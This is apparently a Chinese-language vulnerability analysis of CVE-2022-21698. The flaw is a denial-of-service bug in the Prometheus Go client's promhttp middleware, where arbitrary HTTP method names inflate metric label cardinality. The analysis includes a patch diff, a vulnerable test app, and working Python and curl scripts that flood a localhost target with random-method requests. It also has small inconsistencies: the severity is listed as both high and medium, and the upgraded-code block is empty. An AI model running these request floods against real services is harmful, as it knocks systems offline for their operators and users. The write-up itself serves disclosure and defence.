一、漏洞简介¶
1.1 漏洞背景¶
prometheus/client_golang 是 Prometheus 官方提供的 Go 语言客户端库,广泛用于 Go 应用程序的指标埋点。该库的 promhttp 包提供了 HTTP 中间件来自动收集 HTTP 请求的指标。2022年2月,发现该中间件在处理非标准 HTTP 方法时存在资源消耗不受限的问题,可导致拒绝服务攻击。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-21698 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | HTTP 方法标签基数 DoS 漏洞 |
| 披露时间 | 2022-02-15 |
| 影响组件 | Prometheus |
- CVE编号: CVE-2022-21698
- 危害等级: 中危
- CVSS评分: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
- 漏洞类型: CWE-770 (无限制的资源分配) + CWE-400 (不受控制的资源消耗)
- 影响组件: prometheus/client_golang promhttp 包
补充核验信息:公开时间:2022-02-15;NVD 评分:7.5(HIGH);CWE:CWE-400。
二、影响范围¶
2.1 受影响的版本¶
- prometheus/client_golang < 1.11.1
2.2 不受影响的版本¶
- prometheus/client_golang >= 1.11.1
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
必须同时满足:
1. 应用使用了 promhttp.InstrumentHandler* 系列中间件(除了 RequestsInFlight)
2. 中间件配置中使用了 method 标签
3. 应用未在中间件前过滤特定 HTTP 方法
4. 前端没有防火墙/负载均衡器/代理过滤未知 HTTP 方法
常见受影响代码:
// 受影响的代码模式
handler := promhttp.InstrumentHandlerCounter(
counter, // 带有 method 标签的 counter
http.HandlerFunc(myHandler),
)
http.Handle("/api", handler)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Prometheus 指标使用标签(label)来区分不同维度的数据。promhttp 中间件会为每个 HTTP 请求的 Method 创建一个唯一的标签值。HTTP 方法本应限制在标准方法(GET, POST, PUT, DELETE, HEAD, OPTIONS, PATCH, CONNECT, TRACE),但攻击者可以使用任意字符串作为 HTTP 方法。
问题根源:
// InstrumentHandlerCounter 实现原理(简化)
func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 问题点: 直接使用 r.Method 作为标签值
counter.WithLabelValues(r.Method).Inc()
next.ServeHTTP(w, r)
})
}
攻击场景:
- 正常请求:
GET /api→ 创建标签method="GET" - 攻击请求:
CUSTOMMETHOD12345 /api→ 创建标签method="CUSTOMMETHOD12345" - 每个唯一的方法都会创建新的时间序列
- 攻击者发送大量不同方法的请求
- Prometheus 服务器内存爆炸 → OOM 崩溃
影响: - 内存耗尽: 每个唯一方法创建一个新的 Counter,占用内存 - 性能下降: 大量标签导致查询性能急剧下降 - Prometheus 崩溃: 严重时导致 Prometheus OOM
3.2 源码层面的根因分析(结合源码与补丁对比)¶
根本原因: 未对 HTTP Method 进行白名单验证,导致基数爆炸(Cardinality Explosion)。
补丁对比:
// promhttp/instrument_server.go 修复
-func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler) http.Handler {
+func InstrumentHandlerCounter(counter *prometheus.CounterVec, next http.Handler, opts ...Option) http.Handler {
+ options := defaultOptions
+ for _, o := range opts {
+ o(&options)
+ }
+
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
- counter.WithLabelValues(r.Method).Inc()
+ // 新增: 方法标准化
+ method := sanitizeMethod(r.Method, options.extraMethods)
+ counter.WithLabelValues(method).Inc()
next.ServeHTTP(w, r)
})
}
+func sanitizeMethod(method string, extraMethods []string) string {
+ // 标准方法列表
+ switch method {
+ case "GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH", "CONNECT", "TRACE":
+ return method
+ default:
+ // 检查是否在额外的允许列表中
+ for _, m := range extraMethods {
+ if method == m {
+ return method
+ }
+ }
+ // 非标准方法统一标记为 unknown
+ return "unknown"
+ }
+}
关键修复:
1. 添加 sanitizeMethod 函数进行方法标准化
2. 非标准方法统一映射为 "unknown"
3. 提供配置选项允许用户添加自定义方法
四、漏洞复现(可选)¶
4.1 环境搭建¶
创建测试应用:
// main.go
package main
import (
"net/http"
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promhttp"
)
var (
httpRequestsTotal = prometheus.NewCounterVec(
prometheus.CounterOpts{
Name: "http_requests_total",
Help: "Total number of HTTP requests",
},
[]string{"method", "path"}, // 注意: 包含 method 标签
)
)
func main() {
// 注册指标
prometheus.MustRegister(httpRequestsTotal)
// 创建 handler
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte("Hello, World!"))
})
// 使用 InstrumentHandlerCounter - 受影响
instrumentedHandler := promhttp.InstrumentHandlerCounter(
httpRequestsTotal.MustCurryWith(prometheus.Labels{"path": "/"}),
handler,
)
// 路由
http.Handle("/", instrumentedHandler)
http.Handle("/metrics", promhttp.Handler())
println("Server starting on :8080")
http.ListenAndServe(":8080", nil)
}
使用受影响版本:
go mod init testapp
go get github.com/prometheus/client_golang@v1.11.0
go run main.go
4.2 PoC 演示与测试过程¶
攻击脚本:
#!/usr/bin/env python3
import requests
import random
import string
target = "http://localhost:8080"
def random_method(length=20):
"""生成随机 HTTP 方法名"""
return ''.join(random.choices(string.ascii_uppercase + string.digits, k=length))
print("[*] Starting DoS attack with unbounded method cardinality...")
# 发送大量使用不同方法的请求
for i in range(10000):
method = random_method()
try:
# 使用随机方法发送请求
response = requests.request(method, target)
if i % 100 == 0:
print(f"[+] Request {i}: Method={method}, Status={response.status_code}")
except Exception as e:
print(f"[-] Request {i} failed: {e}")
# 检查内存使用
print("\n[*] Checking metrics endpoint...")
metrics_response = requests.get(f"{target}/metrics")
print(f"[*] Metrics size: {len(metrics_response.text)} bytes")
# 统计唯一的 method 标签数量
lines = metrics_response.text.split('\n')
method_count = len([l for l in lines if 'http_requests_total{method=' in l])
print(f"[!] Number of unique method labels: {method_count}")
curl 版本攻击:
#!/bin/bash
# 发送 1000 个不同方法的请求
for i in $(seq 1 1000); do
method="METHOD$(head /dev/urandom | tr -dc A-Z0-9 | head -c 20)"
curl -X "$method" http://localhost:8080/ -s -o /dev/null &
done
wait
# 检查指标大小
curl http://localhost:8080/metrics | grep http_requests_total | wc -l
预期效果: 1. Prometheus 指标端点返回的数据量急剧增长 2. 应用内存占用持续上升 3. 如果连接到 Prometheus 服务器,会导致 TSDB 内存耗尽
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级 client_golang 到 1.11.1 或更高版本:
# Go modules
go get github.com/prometheus/client_golang@v1.11.1
go mod tidy
# 或更新到最新版本
go get github.com/prometheus/client_golang@latest
升级后的代码:
```
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 临时关闭高风险协议特性或在网关侧启用连接、并发与速率限制。
- 结合 WAF、负载均衡和熔断策略降低异常流量影响。
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/prometheus/client_golang/pull/962
- https://github.com/prometheus/client_golang/pull/987
- https://github.com/prometheus/client_golang/releases/tag/v1.11.1
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2022-21698
- CVE:https://www.cve.org/CVERecord?id=CVE-2022-21698
- https://github.com/prometheus/client_golang/pull/962
- https://github.com/prometheus/client_golang/pull/987
- https://github.com/prometheus/client_golang/releases/tag/v1.11.1
- https://github.com/prometheus/client_golang/security/advisories/GHSA-cg3q-j54f-5p7p
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2IK53GWZ475OQ6ENABKMJMTOBZG6LXUR/
- http://localhost:8080"